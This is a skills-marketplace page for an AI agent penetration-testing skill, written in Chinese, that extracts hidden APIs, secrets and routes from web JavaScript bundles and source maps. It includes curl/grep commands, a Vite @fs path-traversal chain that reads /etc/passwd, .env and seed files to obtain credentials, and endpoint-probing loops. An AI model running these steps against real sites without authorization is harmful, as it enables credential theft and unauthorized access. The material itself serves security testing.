Skip to main content Home Creators haibo3434358 scareaisec js-api-extract
js-api-extract JavaScript 静态分析提取隐藏 API 端点 + Source Map 深度利用。当目标是 SPA/前后端分离、Vue/React/Angular/Vite/Webpack、常规目录扫描收效甚微、或需要从 JS bundle/source map/localStorage/config 中提取 API、密钥、内部域名、WebSocket、GraphQL、路由和前端权限逻辑时使用。发现端点后应路由到 api-fuzz、idor、auth-bypass 等专项测试。
Jump to install Skills Marketplace Discover and explore AI skills built by the community.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
Show prompt details A direct command skips the review prompt. Inspect the source before running it.
npx skills add https://github.com/haibo3434358/ScareAISec --skill js-api-extractThe command stays on one line. Scroll horizontally to inspect it before copying.
Prefer a local copy? Download the files currently available to SkillsMP.
Download Zip Downloading... name js-api-extract description JavaScript 静态分析提取隐藏 API 端点 + Source Map 深度利用。当目标是 SPA/前后端分离、Vue/React/Angular/Vite/Webpack、常规目录扫描收效甚微、或需要从 JS bundle/source map/localStorage/config 中提取 API、密钥、内部域名、WebSocket、GraphQL、路由和前端权限逻辑时使用。发现端点后应路由到 api-fuzz、idor、auth-bypass 等专项测试。 priority 8 vuln_types ["JS接口发现","SourceMap泄露","硬编码密钥泄露","前端鉴权绕过","隐藏API发现"] triggers [".js","sourceMappingURL","sourcemap",".map","webpack","vite","vue","react","angular","axios","fetch","localStorage","API_URL","baseURL","WebSocket","router"] synonyms ["js api extract","javascript endpoint discovery","source map leak","frontend api discovery","spa api discovery","JS接口提取","前端源码泄露"] metadata {"tags":"js,javascript,api,extract,spa,vue,react,angular,webpack,vite,bundle,endpoint,前端分析,source map,sourcemap,js.map,@fs,dev server,硬编码密码","category":"recon","authority":"expert"}
JavaScript API 端点提取方法论
关于本 Skill 的使用边界（读 Phase 之前必读）
本 Skill 是「从 JS bundle / SourceMap / 运行时全局里提取隐藏 API、密钥、内部域名、路由、前端鉴权逻辑 」的采集与转发层，不是 「前端安全总论」，也不是 「接口测试本身」。
不要 把「提取出的 endpoint 列表」当成交付物——本 Skill 输出的是测试队列 ，必须转 api-fuzz / idor-methodology / auth-bypass-methodology / file-upload-methodology 才能出洞。不要 把「JS 被混淆」「只看到 webpackJsonp」当成「无法分析」——混淆 ≠ 加密，字符串字面量总是明文；grep https:// / /api/ / wss?:// / apiKey 仍能拿到大部分价值。不要 把「.js.map 返回 200」直接等同「SourceMap 泄露确认」——SPA fallback / CDN 默认 200 / index.html 伪装甚多，必须看 Content-Type 与首行是否为 JSON 且含 version/sources/mappings 字段。不要 把本 Skill 当成「鉴权绕过」「提权」「身份伪造」的主路——仅前端 isAdmin/router guard 判断不能直接下「后端也不鉴权」结论，必须转 auth-bypass-methodology / privilege-escalation-web 多账号/多角色闭环。不要 把「拿到 apiKey="xxx"」当成「密钥有效」——需区分 公开可公开密钥（AMap/Mapbox/reCAPTCHA site key） vs 不可泄露密钥（AKIA/sk_live/SecretKey/JWT_SECRET）；后者才是 P0 。看到 SPA / Vue / React / Angular / Vite / webpack / sourceMappingURL / @fs / chunk-vendors / runtime\~main / manifest.json / asset-manifest / sw.js / __NEXT_DATA__ / window.__INITIAL_STATE__ / localStorage / WebSocket ，都应把本 Skill 当作必查项 跳 Phase 1。
🤖 Agent 工具映射
场景 优先使用的 Agent 工具 从页面 HTML、动态加载、iframe、运行时 chunk 中收集 JS、manifest 和 sourcemap 线索 browser_get_content + proxy_get_traffic请求 JS bundle、.map、manifest、runtime chunk、Vite 源码路径和 @fs 路径 proxy_send_request + proxy_get_flow_detail在浏览器上下文读取全局配置、localStorage、sessionStorage、运行时变量和前端路由状态 browser_evaluate批量提取 API 路径、完整 URL、WebSocket、GraphQL、路由、baseURL 和敏感关键字 python3
More from this repository
对发现端点做存活验证、方法探测、登录/未登录/不同角色响应对比 proxy_send_request + proxy_diff_responses
对 SourceMap/Vite Dev Server 暴露继续审计源码、.env、配置、seed、后端入口等高价值文件 proxy_send_request
将端点按风险路由到 api-fuzz、idor-methodology、auth-bypass-methodology、file-upload-methodology 等专项 knowledge_load_skill
固化隐藏 API、SourceMap、硬编码密钥、内部域名、前端鉴权或源码泄露证据 checklist_mark + note_add
执行要点 ：JS 分析不是只列接口；必须把发现结果转成漏洞测试队列，并验证权限、可用性、敏感信息真实性或源码泄露影响。
前后端分离架构中，JS bundle 是 API 端点的最大信息源 ——比目录扫描高效 10 倍。
0. 立即执行摘要：JS 提取结果必须转成漏洞测试队列 看到 SPA、JS bundle、.map、sourceMappingURL、axios/fetch、baseURL/API_URL、前端路由、localStorage、WebSocket、GraphQL 时，必须进入本 skill。JS 分析不只是找路径，还要找：隐藏 API、前端权限判断、硬编码密钥、内部域名、旧接口、管理端路由、对象 ID 参数、上传/导出/支付接口 。
收集所有 JS/chunk/runtime/source map，提取 API、完整 URL、WebSocket、GraphQL、路由。
搜索 role/isAdmin/permission/hasPerm/authGuard，识别仅前端鉴权。
搜索 apiKey/secret/token/password/AWS/AKIA/sk_live，识别硬编码敏感信息。
对提取端点按风险分类，并路由到 api-fuzz、idor-methodology、auth-bypass-methodology、file-upload-methodology。
Source Map/Vite Dev Server 暴露时，优先审计源码、配置、.env 和 API 定义。
1. JS 发现 → 漏洞假设路由矩阵 JS 发现 漏洞假设 后续 skill /admin/、隐藏 router垂直越权/前端鉴权 privilege-escalation-web、auth-bypass-methodology/api/v1/、旧接口认证降级/IDOR auth-bypass-methodology、idor-methodologyuser_id/order_id/file_idIDOR/BOLA idor-methodologyupload/import/export/download上传/任意下载/导出越权 file-upload-methodology、idor-methodologybaseURL/internal/dev/staging内部接口泄露 api-fuzz、information-disclosure-methodologyapiKey/secret/token/password硬编码密钥 information-disclosure-methodology、auth-bypass-methodologyisAdmin/role/permission前端权限控制 privilege-escalation-webws://、socket.ioWebSocket 越权 websocket-attack.map/Vite @fs源码/文件读取 information-disclosure-methodology、lfi-rfi-methodology
Phase 1: JS 文件收集
1.1 从页面 HTML 收集
curl -s "$TARGET " | grep -oE '(src|href)="[^"]*\.js[^"]*"' | sed 's/.*="\(.*\)"/\1/'
curl -s "$TARGET " | grep -oP '(?:src|href|url)\s*[=:]\s*["\x27]([^"\x27]*\.js[^"\x27]*)["\x27]' | sort -u
1.2 从 Source Map 恢复
curl -s "$TARGET /static/js/app.xxx.js" | tail -1
curl -s "$TARGET /static/js/app.xxx.js.map" -o sourcemap.json
1.2.1 🔴 Source Map 深度利用攻击链（实战高价值）
场景 ：登录页面渗透时发现 .js.map 可访问，从源码审计一路打到硬编码密码。
这是一条完整的纵深攻击链，每一步的发现都是下一步的入口。
攻击链：Source Map → Dev Server → 源码 → @fs → 硬编码密码
Source Map 可访问
→ 判断是否 Vite/Webpack 开发服务器在线
→ 可以直接访问 .ts/.vue 源码
→ Vite @fs 路径能读服务端文件系统
→ 遍历项目结构找后端代码
→ 找到 prisma/seed.ts、.env、config 等
→ 拿到硬编码密码/数据库凭据
curl -s "$TARGET /assets/index-xxx.js" | tail -5
curl -s -o /dev/null -w "%{http_code}" "$TARGET /assets/index-xxx.js.map"
curl -s "$TARGET /assets/index-xxx.js.map" | grep -oP '"sources":\["[^"]*"' | head -5
curl -s -o /dev/null -w "%{http_code}" "$TARGET /src/main.ts"
curl -s -o /dev/null -w "%{http_code}" "$TARGET /src/App.vue"
/src/utils/request.ts
/src/utils/auth.ts
/src/store/user.ts
/src/router/index.ts
/src/api/*.ts
/src/config.ts
/.env.development
/.env.local
Step 4: Vite @fs 路径遍历（高危！）
curl -s -o /dev/null -w "%{http_code}" "$TARGET /@fs/etc/passwd"
curl -s "$TARGET /@fs$(pwd) /.env"
curl -s "$TARGET /@fs$(pwd) /package.json"
curl -s "$TARGET /@fs$(pwd) /prisma/schema.prisma"
curl -s "$TARGET /@fs$(pwd) /prisma/seed.ts"
curl -s "$TARGET /@fs$(pwd) /server/index.ts"
curl -s "$TARGET /@fs$(pwd) /docker-compose.yml"
目标文件 找什么 危害 prisma/seed.ts硬编码的初始用户密码 直接登录 admin .env / .env.localDATABASE_URL、JWT_SECRET、API_KEY 接管数据库/伪造 Token src/utils/request.ts硬编码的 Authorization header 绕过认证 src/router/index.tsmeta.requiresAuth 判断逻辑前端鉴权绕过 server/config.ts数据库密码、第三方 API 密钥 横向移动 docker-compose.yml数据库端口、默认密码 直连数据库
1. proxy_send_request("GET", "{target}/assets/index-xxx.js") → 检查末尾 sourceMappingURL
2. proxy_send_request("GET", "{target}/assets/index-xxx.js.map") → 下载 Source Map
3. 分析 sources 字段 → 确定框架和文件结构
4. proxy_send_request("GET", "{target}/src/main.ts") → 探测 Dev Server
5. 逐个请求关键源码文件 → 审计硬编码凭据
6. proxy_send_request("GET", "{target}/@fs/...") → Vite @fs 读取服务端文件
⚠️ 注意 ：@fs 路径遍历是 Vite 开发服务器的已知特性（非 CVE），但生产环境不应暴露 Dev Server。发现此问题本身就是一个高危漏洞。
1.3 从 Webpack 清单收集
/static/js/manifest.json
/asset-manifest.json
/webpack-manifest.json
/build/asset-manifest.json
/static/js/runtime~main.xxx.js
1.4 历史版本
curl -s "https://web.archive.org/cdx/search/cdx?url=$DOMAIN /*.js&output=text&fl=original" | sort -u
Phase 2: API 端点提取
2.1 路径模式提取
curl -s "$JS_URL " | grep -oP '["' "'" '](/(?:api|v[0-9]|rest|service|graphql|ws|internal|admin|auth|user|public)[^\s"' "'" ']*?)["' "'" ']' | sort -u
curl -s "$JS_URL " | grep -oP '(?:baseURL|BASE_URL|API_URL|apiPrefix|apiBase)\s*[=:]\s*["' "'" ']([^"' "'" ']+)["' "'" ']'
curl -s "$JS_URL " | grep -oP '["' "'" '](/[a-zA-Z][a-zA-Z0-9_/\-]{2,}(?:\?[^"' "'" ']*)?)["' "'" ']' | sort -u | grep -v '\.\(js\|css\|png\|jpg\|svg\|ico\|woff\|ttf\)'
2.2 完整 URL 提取
curl -s "$JS_URL " | grep -oP 'https?://[^\s"' "'" '<>]+' | sort -u
curl -s "$JS_URL " | grep -oP 'https?://[a-zA-Z0-9._-]+\.DOMAIN\.com[^\s"' "'" ']*' | sort -u
2.3 关键信息提取
curl -s "$JS_URL " | grep -oiP '(?:api[_-]?key|secret|token|auth|password|credential)\s*[=:]\s*["' "'" ']([^"' "'" ']{8,})["' "'" ']'
curl -s "$JS_URL " | grep -oP 'wss?://[^\s"' "'" ']+' | sort -u
curl -s "$JS_URL " | grep -oP '(?:10|172\.(?:1[6-9]|2\d|3[01])|192\.168)\.\d+\.\d+' | sort -u
Phase 3: 端点分类与优先级 优先级 特征 说明 🔴 高 /admin/, /internal/, /debug/, /manage/管理功能，可能缺乏认证 🔴 高 /upload, /import, /export, /download文件操作，可能有路径穿越/任意读写 🔴 高 /user/, /account/, /profile/, /order/用户数据操作，IDOR 高发区 🟡 中 /auth/, /login/, /register/, /reset/认证流程，可能有逻辑绕过 🟡 中 /search, /query, /filter查询接口，SQL 注入高发区 🟢 低 /static/, /public/, /health, /status静态资源/健康检查
Phase 4: 批量验证
for path in $(cat extracted_paths.txt); do
code=$(curl -s -o /dev/null -w "%{http_code}" "$TARGET$path " --connect-timeout 5 -m 10)
echo "$code $path "
done | grep -v "^404 " | sort
200 → 直接可访问，检查响应内容401/403 → 存在但需认证，尝试绕过405 → 端点存在但方法不对，尝试 POST/PUT/DELETE500 → 后端报错，可能有注入点301/302 → 跟踪重定向目标
💡 决策树警告 ：上表 5 种状态码映射是最常见情况 ，不是穷尽列举 。
特别注意以下「状态码谎报」场景，遇到不能仅凭状态码下结论：
404 但接口存在 ：后端统一返 404 隐藏接口存在性（「隐隐、错错」式），需看 Content-Length / 响应体是否为统一错误页、响应时间是否与真 404 不同。200 但是 SPA fallback ：前端所有未命中路由都返 index.html，会伪装成「接口存在」——必须比对 Content-Type 是 application/json 还是 text/html。200 但 body 是「错误负载」 ：{"code":-1,"msg":"未授权"} / {"success":false}，HTTP 级别 200 但业务上是 401——需看 body 中 code 字段而非只看 HTTP 状态码。403 但是 WAF/CDN 拦截 （Cloudflare/阿里云盾/腾讯云 WAF）不是业务鉴权：应看响应 Header 中是否有 cf-ray/x-waf-*、body 是否为拦截页；换 UA、换 IP、加合法 Referer/Cookie 后可能变 200。301/302 重定向到登录页 ：实际上是「未认证」的全局拦截，不代表接口不存在；加上会话后重请才能看真实响应。405 Method Not Allowed强信号 ：表示路径真的在，只是你用错了动词——应依次试 GET/POST/PUT/PATCH/DELETE/OPTIONS 逐个跳变。同一 endpoint 在「未登录 / 低权 / 高权 / 另一租户」下响应不同 ，才是“存在 + 有鉴权”的金字塔判断，不要只用一个身份下结论。「JSONP/老接口 + ?callback=」 ：状态码总是 200 但响应是 xxx({...}) 包裹——这是 jsonp-data-leak 领域，不要当普通 JSON 接口误报。WebSocket / SSE 接口 （wss://、/sse、/events）不走 HTTP 状态码逻辑，HTTP HEAD 可能返 400/426 但接口是活的；必须用 WebSocket 客户端验证。
看到任一异常，返回 Phase 2 重新抽路径特征 或跳 api-fuzz 作变体验证，不要仅凭状态码判「存/不存」。
输出要求
JS 文件清单 — 分析了哪些 JS发现的 API 端点列表 — 按优先级排序暴露的敏感信息 — API Key、内部域名、Token推荐的下一步测试 — 哪些端点应该优先 fuzz
输出格式 [JS/API提取]
JS文件/来源：
框架/构建器：Vue/React/Angular/Vite/Webpack/未知
SourceMap：存在/不存在/未测
发现端点：METHOD/URL/路径/GraphQL/WebSocket
敏感信息：APIKey/Token/内部域名/配置/无
前端权限线索：role/isAdmin/permission/router guard/无
候选漏洞：未授权/IDOR/前端鉴权/密钥泄露/源码泄露/上传/导出/其他
建议 skill：
优先级：P0/P1/P2/P3
⛔ 「最低必测自检」— 标 not_vuln/skipped 前必答 # 必测项 跳过的合法理由 1 Source Map 探测 ：所有 JS 文件末尾尝试请求 .js.map，存在则解析 sources 字段已确认全站 .map 都 404 2 硬编码密钥扫描 ：grep JS bundle 中的 apiKey、secret、token、password、AWS、AKIA、AIza、sk_live_、sk_test_、长串 base64JS bundle 已用 js_extract_apis 全量扫描 3 隐藏路由提取 ：grep router、routes、router/index，提取所有路由路径，对比 sitemap 是否有遗漏- 4 前端权限校验 ：找 isAdmin、role、permission、hasPerm 等判断，确认是否仅前端校验（后端无校验 = 越权）- 5 API endpoint 全量提取 ：用 js_extract_apis 工具提取所有 axios.get/post 等调用，对比已知 sitemap 找出未被爬虫发现的 endpoint工具已运行 6 Vite Dev Server 泄露 （如果 sources 暴露）：试 /@fs/<absolute-path> 读取服务端文件非 Vite 框架
跳过的"非法"理由
❌ "JS 已混淆无法分析" → 混淆≠加密，仍可 grep 字符串字面量；用 proxy_send_request 下载 JS 后 grep https://、/api/
⚠️ Skill 边界与逃逸 本 Skill 负责「从前端产物里挖信息 → 过滤出有价值的 endpoint/密钥/路由/隐藏资源 → 转交主 Skill 闭环 」，以下场景必须从本 Skill 主动逃逸到联动 Skill ：
现场信号 应跳转/联动的 Skill 或方向 提取到 endpoint 后要做参数/动词/响应 fuzz api-fuzzendpoint 含 id / uuid / *_id / ids[] / node(id:) idor-methodology提取到 GraphQL endpoint / __schema / persisted query graphql-methodology提取到 wss:// / socket.io / sse / /events websocket-attack提取到 /upload / /import / 任意字段 含 file file-upload-methodology提取到 /admin/* / 隐藏路由 / meta.requiresAuth auth-bypass-methodology + privilege-escalation-web提取到 apiKey / secret / JWT_SECRET / AKIA* / sk_live information-disclosure-methodology（验证后转云资产/JWT 主路）提取到 OAuth client_id / redirect_uri / state重用 逻辑 oauth-sso-attack提取到 内部域名 / *.dev.* / *.staging.* / 10.x / 192.168.x attack-surface-discovery + subdomain-takeover提取到 小程序 appid+secret / corpid / 企微 secret / mPaaS DSN 企微控制台伪造事件判例，不在本 Skill 范围 Source Map 还原后要审后端源码 接口 sink code-security-audit + 各漏洞主 SkillVite @fs 能读服务端文件系统lfi-rfi-methodology（路径穿越处理）提取到 隐藏参数名/隐藏字段（前端有但 sitemap 无）需验证后端是否接收 js-hidden-api-verify提取到 老版本 chunk、Wayback 的旧 endpoint passive-recon + api-fuzz（老接口限价高）只拿到未登录页的 JS，付费 / 个人中心 / 后台 chunk 未加载 setup-browser-cookies 导入会话后再跑本 Skill
一句话 ：本 Skill 的产物是「能打的隐藏面 」而不是「漏洞本身」。任何提取到的 endpoint 都只是输入「另一个 Skill」的原材料 ，不是结论；任何提取到的 token/key 都要进入对应主 Skill 验证有效性 后才能定 P0。「列了 200 个 endpoint」本身不是交付物，「路由了10 个到 api-fuzz / 3 个到 idor / 1 个到 oauth」才是 。
Related occupations SOC
Based on SOC occupation classification
